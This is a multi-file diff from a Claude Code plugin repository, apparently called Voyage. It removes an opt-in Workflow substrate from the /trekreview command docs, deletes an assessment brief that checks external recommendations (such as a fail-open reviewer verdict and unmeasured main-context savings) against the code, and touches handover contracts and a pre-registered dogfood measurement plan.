> **Schema-drift defense (sealed inline in this command).**
>
> The plan you write MUST satisfy these regexes. The executor parses with
> strict regex matching; any deviation breaks parsing and forces a re-plan.

View file

@ -250,17 +250,15 @@ Research pipeline running in foreground.
Then continue to the next phase inline.
> **Why foreground (for now)?** The research-orchestrator was moved out of
> **Why foreground?** The research workflow was moved out of
> background mode in v2.4.0 because, before Claude Code 2.1.172, the harness
> did not expose the Agent tool to sub-agents, so an orchestrator launched
> with `run_in_background: true` could not spawn the documented research
> swarm (`docs-researcher`, `community-researcher`, etc.) and silently
> degraded to single-context reasoning without WebSearch / Tavily / WebFetch.
> As of CC 2.1.172 sub-agents can spawn sub-agents (up to 5 levels
> deep), so that block no longer holds — a delegated redesign is under
> evaluation (see `docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26).
> Until then, running the phases inline in main context keeps the swarm
> intact.
> deep), so that block no longer holds; the phases still run inline in main
> context, because the swarm's results end in the main context anyway.
---
@ -470,7 +468,8 @@ agent surfaced that no interview dimension claims.
restates an existing dimension is not a discovery.
3. **Augment under the existing ceiling.** Append candidates to the dimension
list only while the **whole** list (interview + discovered) stays at or
below `maxDimensions: 8` (`settings.json:16`). The ceiling is **not**
below `maxDimensions: 8` (`MAX_TOTAL_DIMENSIONS` in
`lib/util/research-loop-cap.mjs`). The ceiling is **not**
raised here, so the documented 3–8 dimension range stays true and the
README prose about it stays untouched. If the interview already produced 8
dimensions, this phase discovers nothing and says so.
@ -490,7 +489,7 @@ agent surfaced that no interview dimension claims.
The ceiling constant is `MAX_TOTAL_DIMENSIONS` in
`lib/util/research-loop-cap.mjs` — deliberately the same constant that sizes
the Phase 5 turn budget, so the two axes of the bounded-cost NFR cannot end
up enforcing different numbers for one `settings.json:16` value.
up enforcing different numbers for one ceiling.
4. **Record the baseline.** Keep the interview-derived count as
`dimensions_baseline` so the discovered delta is machine-readable against
the final `dimensions` (Phase 8 stats).
@ -534,7 +533,7 @@ counters beyond zero.
**Maximum 3 turns per under-illuminated dimension.** The bound is per
dimension, not per run: the worst case is 3 turns × the whole dimension list
under the `maxDimensions: 8` ceiling (`settings.json:16`), which is what
under the `maxDimensions: 8` ceiling (`MAX_TOTAL_DIMENSIONS`), which is what
`research-loop-cap.mjs` sizes itself against. The cap counts itself from its
own append-only ledger — it never asks this prose how many turns it has used.

View file

@ -41,9 +41,6 @@ project's memory, approved line by line (Phase 8.7). Order credited to Boris
Cherny's public workflow (engine → brief control); the gate to Kiro and Spec
Kit — see `docs/HANDOVER-CONTRACTS.md` § Handover 6.
See `agents/review-orchestrator.md` for the canonical workflow this
command executes inline.
## Phase 1 — Parse mode and validate input
Parse the arguments with the shared arg-parser. Run it first, exactly like
@ -71,7 +68,6 @@ FLAG_SCHEMA `trekreview` entry):
| `--dry-run` | boolean | Print the discovered scope and triage map. Skip writes. |
| `--fg` | boolean | No-op alias (foreground is default). |
| `--answers` | boolean | Run only Phase 8.8 (the operator's answers to the counting MAJORs) on the existing `{project_dir}/review.md`, then the Phase 8 gate line. No `prepare`, no reviewer, no write of findings: it opens no new round and counts nothing against the cap (decision 93). |
| `--workflow` | boolean | **(opt-in, NW2)** Run Phase 5–6 on the bake-off-validated Workflow substrate (`scripts/trekreview-armB.workflow.mjs`) instead of the default prose Agent-tool path. Requires **Claude Code 2.1.154+**. Combines with `--quick`. See *§ Phase 5–6 via the Workflow substrate*. |
Resolution:
1. If the parser exits 1 (for example `--project` is missing), print its
@ -94,13 +90,6 @@ Set `mode`:
- `quick` if `--quick` is set.
- `default` otherwise.
Set `workflow_substrate` (orthogonal to `mode` — a substrate choice, not a behavior mode):
- `true` if `--workflow` is set — Phase 5–6 run on the Workflow substrate (see the Phase 5
routing gate). The Workflow tool requires **Claude Code 2.1.154+**; if it is unavailable,
fall back to the prose path and note the fallback in the Executive Summary.
- `false` otherwise. **Default stays prose**: the substrate is opt-in, so the lower
portability floor of the prose path is preserved unless the operator opts in.
## Phase 2 — Validate brief
Run the brief validator in soft mode — the brief is upstream context, not
@ -165,7 +154,7 @@ Compute the "after" SHA: `after_sha=$(git rev-parse HEAD)`.
node ${CLAUDE_PLUGIN_ROOT}/lib/review/review-rounds.mjs prepare --project "{project_dir}" --since {before_sha} --json
```
Add `--workflow` when `workflow_substrate == true` and `--dry-run` when
Add `--dry-run` when
`mode == dry-run`. It prints `{round, round_base, previous}`; keep all three for
Phases 5 and 7. A later round is one where `{project_dir}/review.md` has this
`scope_sha_start` (the same run): `prepare` counts the round from the run's
@ -174,8 +163,7 @@ archives, keeps the previous review as `{project_dir}/{previous}`
`round_base` is its `scope_sha_end`. Every round it deletes the previous
round's `.review-out-*.md` and `.review-engine-payload-*.json` files, so each
such file finalize reads was written this round. Exit 1 stops: the round cap is
reached (the operator re-plans), or a round 2 or later was asked on
`--workflow` (re-run without it). Exit 2 stops "not measured" (the round base
reached (the operator re-plans). Exit 2 stops "not measured" (the round base
is not an ancestor of HEAD, the round count does not match the archives, or an
archive differs). Print the reason in one line; no review is written in either
case.
@ -397,12 +385,6 @@ independent, and the coordinator is the only place the outputs meet.
## Phase 5 — Launch parallel reviewers
**Substrate routing (opt-in `--workflow`).** When `workflow_substrate == true`, run
Phases 5–6 via the Workflow substrate documented in *§ Phase 5–6 via the Workflow
substrate* (below Phase 6), then resume at Phase 7 with the returned
`{verdict, findings}`. When `false` (the default), run the prose Agent-tool path
described in the rest of this phase.
Launch two reviewer agents **in parallel** via the Agent tool — one
message, multiple tool calls.
@ -606,66 +588,6 @@ The coordinator's output is the full review.md content — frontmatter
Judge` and, when there is a BLOCKER, `## Remediation Steps`) + trailing JSON
block. Do NOT re-run the reviewers based on the coordinator's output.
## Phase 5–6 via the Workflow substrate (opt-in `--workflow`)
Runs **only** when `workflow_substrate == true`. This is the **NW2 port**: it expresses
the same Phase 5–6 pipeline shape (parallel reviewers → triplet-dedup → coordinator verdict)
as a single Workflow, reusing the NW1 findings schema; its verdict floor is stricter than
the prose path's (decision 23, below). The S10 bake-off found it
**fidelity-equivalent** to the prose path — see `docs/T2-bakeoff-results.md` (verdict
**POSITIVE**: verdict-match 1.0, issue-coverage 100%, `(file,rule_key)` jaccard ≥
within-arm, tokens +4.4%). It stays **opt-in**, not the default, because the Workflow tool
raises the consumer floor to **Claude Code 2.1.154+** (outward-facing; the prose path
keeps the lower floor).
Invoke the port via the **Workflow** tool with the Phase 1–4 output pinned into `args`:
```
Workflow({
scriptPath: "${CLAUDE_PLUGIN_ROOT}/scripts/trekreview-armB.workflow.mjs",
args: {
briefPath: "{brief_path}",
diffPath: "{path to the unified diff file from Phase 3}",
triage: "{triage map as 'path → treatment' lines from Phase 4}",
quick: {true if mode == quick, else false},
enginePayloads: [{the Phase 4.7 payloads from engine-findings.mjs}],
engineNotRun: [{each engine reviewer name recorded as not run}]
}
})
```
A reviewer that returns nothing, an engine listed in `engineNotRun`, or a coordinator that returns no verdict and findings forbids `ALLOW` on this path too (`missing_reviewers` in the result), and the result's `allow_blocked_by` names each one (`missing-reviewer:<name>`, the coordinator as `missing-reviewer:review-coordinator`);
Phase 7 writes that list as the trailing JSON block's `allow_blocked_by`, so the verdict gate reads such a WARN review as not performed in full (exit 2; a BLOCK stays exit 1).
On this path dedup ranks as Pass 1 does (both paths), and after the coordinator each finding is matched to its own row, its `(file, line, rule_key)` triplet plus its title, trimmed and in lower case: of the engine findings in a row no returned finding is on, the one with the highest severity (on a tie, the first seen) is put back at its own severity (operator decision 23), and a returned finding is never below the lower of its reviewer counterpart's severity and its catalogue tier (floor (b)); its counterpart is its own row, else the strictest row on its triplet.
Both paths put back engine findings; the workflow path also applies floor (b).
Contract (verified in S10 part B — follow exactly):
- **Pass `args` as a JSON object.** The script defensively re-parses a JSON *string*, but
the object form is the contract.
- **Reviewers are `StructuredOutput`-schema-forced** — `rule_key` is enum-enforced at the
tool layer (stronger than the prose path's post-hoc NW1 check), so there is no
`JSON.parse`/re-ask dance.
- **Recover the result from the `RESULT_JSON:{…}` line** inside the workflow output logs.
The script returns `{verdict, findings, ...}` AND logs it as that line; the
notification's `<result>` may be truncated, so parse the logged line.
- The reviewer/coordinator agentTypes are namespaced inside the script
(`voyage:brief-conformance-reviewer`, `voyage:code-correctness-reviewer`,
`voyage:review-coordinator`).
Then continue at **Phase 7** exactly as the prose path does — Phase 7 rendering, Phase 8
validation, and the operator gate are **shared** and substrate-independent (both paths
return the same `{verdict, findings}` shape, and the workflow's `allow_blocked_by` goes into the trailing JSON block). The workflow's returned findings keep
`engine` (set by the script from the payload a finding came from, never from a label),
`contradicts_brief` and `brief_lowered_from`, and Phase 7 writes them into each
finding's field list and the trailing JSON block of review.md exactly as the prose path
does.
**Known limitation (per bake-off §Posture, surfaced not hidden).** Classifier interference
was measured **0** at 9-agent concurrency in the session's default permission mode; an
explicit `auto`/`bypass`-mode re-run was not performed (the permission mode is operator-set,
not settable from within a session). trekreview's small fan-out showed 0 interference in S8
and S10. The large fan-out case (the trekplan swarm) is out of NW2 scope.
## Phase 7 — Write review.md
Write the coordinator's output verbatim to:
@ -715,7 +637,7 @@ findings reach review.md only through finalize's carry, so the verdict gate read
Finalize writes `round`, `round_base`, `finalized: true`, `ran` (what ran this round, read from the
`.review-out-*.md` and `.review-engine-payload-*.json` files) and, from round 2, `resolved` with a
`## Resolved since round <n>` section; a carried BLOCKER gets its `### Step R<n>`.
The standard path now puts back engine findings at MAJOR or above the way the workflow path does: finalize's
The standard path now puts back engine findings at MAJOR or above: finalize's
first pass reads the Phase 4.7 payloads itself from `{project_dir}` (`.review-engine-payload-*.json`, no new
argument), and each engine finding at MAJOR or BLOCKER whose row no finding of review.md carries is put back at its
own severity, with the line `**Source:** engine {name}, put back by the standard-path comparison` in its entry; the

View file

@ -1,295 +0,0 @@
# BRIEF — external assessment (VURDERING-V2 §5.12), verified against this repo
**Status:** assessment complete. **No implementation in this session** (scope-guard).
**Source under review:** `claude-playlist-corpus/docs/VURDERING-V2.md` §5.12 (+ §3 G1–G8, §4),
transferred via that repo's `docs/OVERFORING-V2.md` §5. It is an external recommendation
built on 442 video analyses; its repo facts come from a subagent survey (2026-07-17) that
is **not** re-verified and in which at least one error was already demonstrated.
**Method.** Every asserted GAP is marked **BEKREFTET** (confirmed) / **AVKREFTET**
(refuted) / **ENDRET** (true in altered form) only after checking it against code in this
repo. Every Claude Code *feature* claim is checked against the OKF bundle at
`claude-code-llm-wiki/bundle/`, index-first — **where V2 and the bundle disagree, the
bundle wins**. Absences are positive-controlled before being reported (a grep that finds
nothing is a measurement, not a fact).
---
## TL;DR
Of six recommended tiltak, **one is a real defect** (fail-open verdict computation),
**one is unmeasured rather than unresolved** (the Workflow port), **three are already
decided or already partly built**, and **one is a cheap confirmed gap**.
The single most consequential correction: V2 presents the Workflow port as the answer to
this repo's "main-context relief is unmeasured" caveat. The bundle confirms the
*mechanism*, but **this repo has still never measured main-context relief on a large
fan-out** — the one bake-off that exists measured *subagent* tokens and says so. The port
is therefore neither refuted nor justified. The next step is a measurement, not a port,
and the measurement design already exists in `docs/T1-cc26-delegated-orchestration.md`.
---
## Tiltak 1 — Port orchestration to dynamic Workflows
**Verdict: split per command. Do not issue one global verdict.**
### `/trekreview` — **ENDRET** (already ported, and measured)
The port exists: opt-in `--workflow`, `scripts/trekreview-armB.workflow.mjs`, documented at
`commands/trekreview.md:270` (*§ Phase 5–6 via the Workflow substrate*). The S10 bake-off
(`docs/T2-bakeoff-results.md`, ≥3 runs/arm) found it **fidelity-equivalent**: verdict-match
1.0, issue-coverage 100%, `(file,rule_key)` jaccard ≥ within-arm. It stays opt-in because
the Workflow tool raises the consumer floor to Claude Code 2.1.154+, and the prose path
keeps the lower floor.
### `/trekplan`, `/trekresearch` — **BEKREFTET as unported, UNMEASURED as beneficial**
Both still orchestrate their swarms from main context (`commands/trekplan.md:406`,
`commands/trekresearch.md:388`). That part of V2 is correct.
What is **not** established is V2's stated effect — that Workflow answers the
main-context-relief caveat. Two measurements exist in this repo and **neither measures it**:
| Measurement | What it actually measured | Bearing on the relief claim |
|---|---|---|
| `docs/T2-bakeoff-results.md:154` | **Subagent** tokens: Arm A median 92.8k vs Arm B 96.9k ⇒ **+4.4%** | None. The same line states Arm A's main-context hand-orchestration cost is **uncounted**. |
| `docs/T1-synthesis-poc-results.md` | Δ **main-context** ≈ **0%** — for delegating *Phase 7 synthesis alone* | Negative, but out of scope: that doc itself names a **Phase-5 redesign** as the prerequisite for any relief. |
So the Phase-5 swarm — the case V2 is actually recommending — has never been measured in
either arm, in either command.
**The measurement already has a design.** `docs/T1-cc26-delegated-orchestration.md:118`
defines the gate metric (Δ main-context tokens resident in the main session at
plan-complete, from stream-json `usage`) with pre-registered bars: adopt at ≥30%, reject
below 15%. Running Arm A vs Arm B once against the trekplan swarm settles this.
**Cost framing must be corrected.** The bundle states plainly that a workflow run "can use
meaningfully more tokens than working through the same task in conversation"
(`bundle/concepts/docs-en-workflows.md:364`) — consistent with the measured +4.4%. The port
cannot be justified as a cost saving. **Main-context headroom is the only defensible
motive, and it is exactly the unmeasured quantity.**
**Recommendation:** measure before porting. Treat V2's tiltak 1 as a *hypothesis with a
ready-made experiment*, not as an approved change.
---
## Tiltak 2 — Codify the holdout rules
**Verdict: (a) and (b) satisfied in practice but uncodified · (c) BEKREFTET, a real defect ·
(d) ENDRET.** This is the tiltak with genuine substance.
### (a) Reviewers must never be forks — **AVKREFTET as a live defect, BEKREFTET as uncodified**
Reviewers are spawned as plain subagents (`voyage:brief-conformance-reviewer`,
`voyage:code-correctness-reviewer`). `subagent_type: "fork"` appears nowhere in `commands/`
or `agents/`; the only `subagent_type` in the tree is `"Explore"` at
`commands/trekplan.md:501`, an exploration spawn, not a review spawn. The bundle confirms
the rule is real — a forked subagent "inherits your full conversation context instead of
starting fresh" (`bundle/concepts/docs-en-agents.md:37`). Voyage satisfies it by habit;
nothing written forbids a future edit from breaking it.
### (b) Explicit "you shall not see" list — **AVKREFTET as a live defect, BEKREFTET as uncodified**
Phase 5 feeds reviewers exactly four things: the Phase-3 unified diff, the triage map, the
brief path, and the rule catalogue (`commands/trekreview.md`, Phase 5 input list).
Implementation plans and commit messages are **not** fed; `git log` appears only to compute
the diff range and to print a suggested narrowing command (`commands/trekreview.md:132`,
`:181`). Again: correct today, unprotected tomorrow.
### (c) Fail-closed verdicts — **BEKREFTET. This is the one real defect.**
`agents/review-coordinator.md` computes the verdict mechanically from the findings that
*survive* filtering:
- **Pass 2** (HubSpot judge) and **Pass 3** (Cloudflare reasonableness) **drop** findings
that fail their tests (`agents/review-coordinator.md:87`, `:101`).
- **Pass 4** counts the survivors: `BLOCKER ≥ 1 → BLOCK`; else `MAJOR ≥ 1 → WARN`; else
`ALLOW` (`:132`). "Verdict is mechanical — never override."
There is no third state. Three consequences follow:
1. **A finding that cannot be substantiated is dropped, and a dropped finding contributes
zero — which moves the verdict toward ALLOW.** Pass 3's non-existent-file test ("`file`
does not exist in the working tree AND the diff does not show it as `(new file)`") has
no inconclusive branch: unresolvable and refuted are treated identically. This is
structurally the failure V2 attributes to its source case, where "not E2E testable"
passed as approved.
2. **A reviewer that returns nothing produces the same result.** Phase 5 has no
empty-return handling — grep for `empty|no findings|did not return|abort` over
`commands/trekreview.md` returns 0 (positive control: `Phase 5` = 7 hits, `reviewer` =
24 hits, so the file and the query are both live). Zero findings from a silent reviewer
is indistinguishable from zero findings from a clean diff. This is the same surface as
the idle-agent hole recorded in STATE's open decisions.
3. **One fail-closed branch already exists, and it is the pattern to copy.** When reviewer
output fails schema validation, Phase 5 allows 2 bounded re-asks and then *stops*: "do
not feed unvalidated findings to the coordinator." That is the correct shape, applied to
one failure mode only.
**The defect is codified, not merely prose — which makes it testable.** The four passes
exist deterministically in `lib/review/coordinator-contract.mjs`, and
`computeVerdict(findings)` (`:184`–`:193`) counts *only* the findings handed to it.
`runContract` hands it `reasoned.kept` (`:206`); `suppressed` and `skipped` are returned in
the result object but **carry no weight in the verdict**. So a dropped finding is
arithmetically identical to a finding that never existed.
**Minimal fix shape (not implemented here):** an `unverified` bucket that is neither kept
nor dropped, plus one rule — *a non-empty `unverified` bucket forbids ALLOW* — and a
Phase-5 check that a reviewer actually returned. Both are additive; neither touches the
severity catalogue or the existing thresholds. Because the logic is deterministic ("No LLM,
no network, no time, no randomness", `:23`) and already has
`tests/lib/coordinator-contract.test.mjs`, this can be driven test-first under the Iron
Law — a failing test asserting that an unverifiable BLOCKER-severity finding cannot yield
ALLOW is writable before any production change.
### (d) Presume-failure framing — **ENDRET**
Both reviewers are already adversarially framed: "Adversarial reviewer" in each
`description`, "You never praise", "You never say 'looks good'"
(`agents/code-correctness-reviewer.md:36`, `agents/brief-conformance-reviewer.md:35`). What
is absent is specifically the presume-failure formulation V2 names ("this agent was lazy —
find out why"). This is a wording change with no measurement behind it in the corpus; treat
it as optional polish, not a gap.
---
## Tiltak 3 — Lightweight lane — **ENDRET** (narrower gap than stated, already tracked)
A lightweight path exists: `--quick` on both `/trekbrief` and `/trekplan`, and
`/trekplan --quick` already skips the Phase-5 exploration swarm — "Skip agent swarm; use
lightweight Glob/Grep scan and go directly to planning + adversarial review"
(`commands/trekplan.md:122`). The same code-path is reachable a second way: a brief
carrying `effort == 'low'` activates it without the flag (`:885`). What it does **not** do
is bypass the 2.2 ceremony —
`commands/trekbrief.md:126` states the framing question "is asked even in `--quick` mode",
and a 2.2 brief still requires `framing` and a `## TL;DR` (`:472`, `:474`).
So the accurate gap is not "no lightweight path" but "the lightweight path still pays the
2.2 toll". Already carried as open operator decision 1 in STATE — this is not a discovery.
---
## Tiltak 4 — Definition-of-done as an object — **BEKREFTET**
`commands/trekbrief.md` contains no notion of evidence, proof, verifier, residual risk, or
next-step owner (grep for `evidence|proof|screenshot|verifier|residual risk|owner` → 0;
positive control: `Success Criteri` = 5 hits). The gap is real.
**Cost note V2 does not carry:** the brief schema is **Handover 1**, a public contract
(`docs/HANDOVER-CONTRACTS.md`). Adding required DoD fields is a breaking change for
downstream consumers, i.e. a `brief_version` bump with a gate, not an edit. That moves it
out of "cheap win" and into planned work.
---
## Tiltak 5 — Prune, don't build — **mostly ALREADY DECIDED**
- **`synthesis-agent`**: already dormant and labelled as such (`agents/synthesis-agent.md:3`),
with the measurement that justified it (`docs/T1-synthesis-poc-results.md`, Δ≈0,
DECLINED). Retiring versus keeping was decided in favour of keeping it as a
re-measurable building block. V2 recommends a decision that has been made and recorded.
- **24 all-opus agents**: 24 of 24 agent files carry `model: opus` (verified by count).
This is an **operator pin**, not drift — commit `40d8742` "pin all sub-agents to Opus
permanently (operator request)" — and the reconsideration V2 asks for already happened
and is written down in `docs/voyage-vs-cc-balance-analysis.md` §10. Re-opening it is an
operator decision, not an analysis task.
- **`gemini-bridge`**: **BEKREFTET**, and the cheapest real item in this tiltak. It is
already flagged `THIN_WRAP` / `DROP→NATIVE` in the same analysis (§V09, lines 81, 121,
149) *and* it is broken at the engine (the `gemini-mcp` server fails deterministically on
an SDK/API mismatch). Fix-or-drop is decidable today.
---
## Tiltak 6 — LSP as a harness component — **BEKREFTET**
`LSP` returns 0 hits across `commands/`, `agents/`, `lib/`, `docs/`. Voyage navigates with
Glob/Grep, as V2 says. One qualifier: LSP is a harness-level capability available to
agents, not a voyage feature — adoption is mostly permitting and prompting agents to use
it, not code in this repo. Value is highest in large target repos, which is where voyage's
exploration swarm actually runs.
---
## Bundle-gap
Checked against `bundle/concepts/docs-en-workflows.md`
(`source_sha 363819ed9ec325275ca22023f6bb6b98fbbf6fcc12db0667478c5207e117751b`,
timestamp 2026-08-15), plus `docs-en-agents.md` and `docs-en-sub-agents.md`.
**Confirmed by the bundle:**
- The **2.1.154 floor** for dynamic workflows, on paid plans.
- The **main-context relief mechanism**: "A workflow script holds the loop, the branching,
and the intermediate results itself, so Claude's context holds only the final answer"
(`:38`); "Intermediate results stay in script variables instead of landing in Claude's
context" (`:316`). V2's mechanism claim is sound — it is the *magnitude* that is unmeasured.
- **Per-stage model routing** (`:375`–`:378`).
- **Cost caps**: agent caps, size guideline, and a `Large workflow` warning above 25 agents
or 1.5M projected tokens (`:368`).
**Where V2 overstates, and the bundle wins:**
- **"tokenbudsjetter" (token budgets).** The page documents *caps and size guidelines*, not
a token budget — `budget` returns 0 hits on the page. V2's warning to "set an explicit
token budget" has no documented primitive to point at in the official docs.
- **"automatisk retry".** 0 hits. Not documented on the page.
**Limitation V2 omits, material for this repo:** resumability is **session-scoped** —
"Resume works within the same Claude Code session. If you exit Claude Code while a workflow
is running, the next session starts the workflow fresh" (`:360`). Further, stopping mid
fan-out re-runs every agent that started after the stopped one (`:354`). Voyage is
explicitly a *multi-session* tool, so resumability is a weaker argument here than V2 implies.
**Gap proper (feedback toward wiki v1.0):**
1. The mirrored docs describe no programmatic **token-budget** primitive for workflows,
while the Workflow tool's own runtime surface does expose a budget derived from an
operator token directive. If that surface is real and stable, it is missing from the
mirror. Flagged as a discrepancy, not asserted as a doc error.
2. Nothing in the mirrored pages quantifies what a workflow's **final return** costs the
orchestrating session. The relief mechanism is described qualitatively only, so a
consumer cannot size the benefit from the docs alone — which is precisely why the
measurement below cannot be replaced by reading.
---
## Recommended order (operator decides; nothing started)
1. **Fail-closed coordinator (tiltak 2c)** — smallest surface, highest value, no
dependencies, and it closes a defect rather than adding a feature.
2. **Measure Δ main-context on the `/trekplan` Phase-5 swarm (tiltak 1)** — Arm A vs Arm B
against the pre-registered bars in `docs/T1-cc26-delegated-orchestration.md`. The port
decision follows the number; it does not precede it.
3. **`gemini-bridge` fix-or-drop (tiltak 5)** — already analysed, currently broken, cheap.
**Deferred with reasons:** tiltak 3 (already open operator decision 1) · tiltak 4 (requires
a `brief_version` bump against a public contract) · tiltak 5's opus/synthesis items
(decided; operator-pinned) · tiltak 6 (harness-level, not repo code).
---
## Verification log
| Claim | How verified |
|---|---|
| `/trekreview` Workflow port exists and was measured | `commands/trekreview.md:270`; `docs/T2-bakeoff-results.md` §Full run |
| +4.4% is **subagent** tokens, main context uncounted | `docs/T2-bakeoff-results.md:154` (verbatim) |
| Δ main-context ≈ 0 applies to Phase 7 only | `docs/T1-synthesis-poc-results.md:1`, `:100` |
| Measurement design already exists | `docs/T1-cc26-delegated-orchestration.md:118`, `:125` |
| Reviewers are not forks | `grep subagent_type\|fork commands/ agents/` → only `Explore` at `commands/trekplan.md:501` |
| Plans/commit messages not fed to reviewers | Phase 5 input list; `commands/trekreview.md:132`, `:181` |
| Verdict is computed from survivors only | `agents/review-coordinator.md:87`, `:101`, `:132` |
| Same rule codified deterministically in `lib/` | `lib/review/coordinator-contract.mjs:184`–`:193`, `:206`; existing test `tests/lib/coordinator-contract.test.mjs` |
| No empty-return handling in Phase 5 | grep → 0, positive control `Phase 5`=7, `reviewer`=24 |
| Existing fail-closed branch on schema failure | `commands/trekreview.md`, Phase 5 bounded-retry paragraph |
| `--quick` does not bypass 2.2 | `commands/trekbrief.md:126`, `:472`, `:474` |
| No DoD fields in trekbrief | grep → 0, positive control `Success Criteri`=5 |
| 24/24 agents pinned opus, by operator | file count 24/24; `git log 40d8742` |
| gemini-bridge already flagged for drop | `docs/voyage-vs-cc-balance-analysis.md:81`, `:121`, `:149` |
| No LSP usage | `grep -rn LSP commands/ agents/ lib/ docs/` → 0 |
| Workflow floor, relief mechanism, model routing, caps | `bundle/concepts/docs-en-workflows.md:19`, `:38`, `:316`, `:375`, `:368` |
| No documented token budget or retry in the bundle | `grep -i budget\|retry` on that page → 0 relevant |
| Resume is session-scoped | `bundle/concepts/docs-en-workflows.md:354`, `:360` |
| Fork inherits full conversation context | `bundle/concepts/docs-en-agents.md:37` |
**Not verified / stated as unverified:** V2's underlying video-corpus claims (the StrongDM
bad-merge case, the 5.5-hour bake-off, the "$200 plan in 30 minutes" workflow) were not
independently checked — they are cited here as V2's evidence, not as this repo's findings.

View file

@ -22,7 +22,7 @@ Each artifact carries an explicit version field. Schema bumps are coordinated:
1. Bump the artifact's version field.
2. Update the matching validator in `lib/validators/`.
3. Add a fixture under `tests/fixtures/` covering both old and new shapes.
4. Document the change in `MIGRATION.md` with at least an N-1 compatibility window in the validator (read both shapes; warn on old, fail only after one minor version of warning).
4. Document the change in `CHANGELOG.md` with at least an N-1 compatibility window in the validator (read both shapes; warn on old, fail only after one minor version of warning).
5. Bump the plugin version in `package.json` and `.claude-plugin/plugin.json`.
## Validator → handover map
@ -405,7 +405,7 @@ missing `exit_code` (C15, `PROGRESS_FAILED_CRITERIA_KEY`).
2. `/trekexecute --resume` entry (must pass `checkResumeReadiness`)
3. `pre-compact-flush` hook (drift check before compaction; never blocks)
**Drift detection:** the `pre-compact-flush` hook compares `progress.steps[N].commit` against `git log --oneline {session_start_sha}..HEAD`. If git reality has progressed past the recorded `current_step`, the hook updates progress.json atomically (`tmp + rename`, monotonic only) before allowing compaction. This guards against the documented P0 drift in `docs/trekexecute-v2-observations-from-config-audit-v4.md`.
**Drift detection:** the `pre-compact-flush` hook compares `progress.steps[N].commit` against `git log --oneline {session_start_sha}..HEAD`. If git reality has progressed past the recorded `current_step`, the hook updates progress.json atomically (`tmp + rename`, monotonic only) before allowing compaction. This guards against the documented P0 drift.
**Versioning:** `schema_version: "1"` is current. Future bump (e.g. `"2"`) should add a backward-compat read path that downgrades unknown fields to warnings.
@ -495,11 +495,9 @@ a BLOCKER-tier, a MINOR-tier and any `/security-review` finding keep their sever
On an ALLOW or WARN review the verdict gate exits 2 on every finding `illegalBriefLowering` (`lib/review/coordinator-contract.mjs`) names:
any other `brief_lowered_from`, a mark on a reviewer-agent finding, a marked finding below its tier, a marked finding with an unknown key,
and an engine finding below its tier, marked or not (a BLOCK review exits 1 as before).
The gate cannot check an `engine` label on the prose path: there the coordinator writes the label, so a finding wrongly labelled `engine` is judged as an engine finding;
the workflow path (`--workflow`) takes `engine` from the payload source and writes it into the returned finding.
The gate cannot check an `engine` label on the prose path: there the coordinator writes the label, so a finding wrongly labelled `engine` is judged as an engine finding.
`runContract` (`lib/review/coordinator-contract.mjs`) likewise takes `engine` from the payload a finding arrived in, never from the finding's own field,
and in dedup the survivor is ranked by catalogue tier (for a catalogue key it always ties inside one triplet), so a reviewer-agent finding survives over an engine finding and carries the highest severity the group asserted; an engine's mark never lowers what a reviewer agent asserted.
On the workflow path dedup ranks as Pass 1 does (both paths), and after the coordinator each finding is matched to its own row, its `(file, line, rule_key)` triplet plus its title, trimmed and in lower case: of the engine findings in a row no returned finding is on, the one with the highest severity (on a tie, the first seen) is put back at its own severity (operator decision 23), and a returned finding is never below the lower of its reviewer counterpart's severity and its catalogue tier (floor (b)); its counterpart is its own row, else the strictest row on its triplet, so the workflow path is stricter than the prose path; a coordinator that returns no verdict and findings counts as a missing reviewer there (`missing-reviewer:review-coordinator` in `allow_blocked_by`), and its findings are read at their catalogue tier or higher, so the review is at least WARN and the verdict gate exits 2 on such a WARN (a BLOCK stays exit 1).
A plan made from the review skips a lowered finding: it is MINOR, and `/trekplan` takes BLOCKER and MAJOR findings only.
**Validation strategy:**
@ -620,7 +618,7 @@ The state file follows a producer/consumer separation that keeps responsibilitie
- `produced_by:` — string identifying the producer (e.g. `trekplan-A4-session`, `trekexecute-phase-8`, `trekendsession`)
- `produced_at:` — ISO-8601 timestamp of when the file was written
The `next-session-prompt-validator` (`lib/validators/next-session-prompt-validator.mjs`) cross-checks `produced_at` against the sibling state file's `updated_at` and emits a `NEXT_SESSION_PROMPT_INCONSISTENT` error when the prompt is older than the state — that means the prompt has not been refreshed for the current session and is stale. Files **without** any frontmatter are tolerated (warning, not error) for backwards compatibility with v3.3.x and earlier hand-rolled prompt files; this is consistent with Handover 3's drift-WARN posture.
When both a repo-root and a project-dir prompt file exist, `/trekcontinue` Phase 1.5 uses the project-dir file and names the root file as ignored.
**Idempotency:** `--cleanup --confirm` is safe to re-run. If only one of the two files (state file, prompt file) was previously deleted, the second run reports the partial state ("state file: not found, prompt file: removed") but does not auto-recover or re-create. There is no rollback. Operators choosing to re-create a project after `--cleanup` should re-run `/trekbrief` from scratch.

View file

@ -1,130 +0,0 @@
# S22 — Happy-path dogfood (Blind spot #1 + #4)
**Run:** S22, 2026-06-19. **Method:** dogfood Voyage's own pipeline (`/trekplan → /trekexecute`) on a real, small Voyage feature, scored against a **pre-registered** ground-truth scorecard committed *before* the pipeline runs.
**Answers the two open questions the S14 audit named but never measured** (`devils-advocate-results.md` §"What this audit might have missed" #1 and #4):
- **Q1 — plan quality:** does `/trekplan` produce a *correct, useful* plan on a real feature?
- **Q4 — review efficacy:** does the adversarial review (`plan-critic` 10-dim + `scope-guardian`) catch *real* defects?
**Operator-chosen shape (S22):** real new Voyage feature (not a planted defect, not a known backlog bug); execute runs in an **isolated git worktree** and the code is **discarded** — the deliverable is the measurement, not the feature.
---
## Methodology — why pre-registration
The audit's deepest critique of itself (#4) was that *nobody ever measured whether the review catches real bugs — both attack and defense assumed it.* The failure mode for a dogfood is **post-hoc rationalization**: run the pipeline, then declare whatever it found "the important stuff." To avoid that, the expected plan and the real-risk list below are **written and git-committed before `/trekplan` is launched** (provable by commit order). Q4 is then scored as *recall against a fixed target*, not "did it find something."
**The feature** (`voyage-doctor`) was chosen because it has three properties that make Q4 measurable on an honest feature:
1. **Strong reuse anchors** (`discoverProject`, `validateBrief/Research/Plan`) → a naive plan reimplements parsing; a good plan composes. Tests whether `scope-guardian`/`plan-critic` flag reinvention.
2. **A subtle state-conditional correctness rule** (`research_status` ↔ `research/` contents) → easy to get wrong. Tests whether `plan-critic` catches a wrong conditional.
3. **Explicit Non-Goals** (read-only, no auto-fix) with a Context that mildly invites scope-creep → tests whether the review verifies Non-Goal coverage.
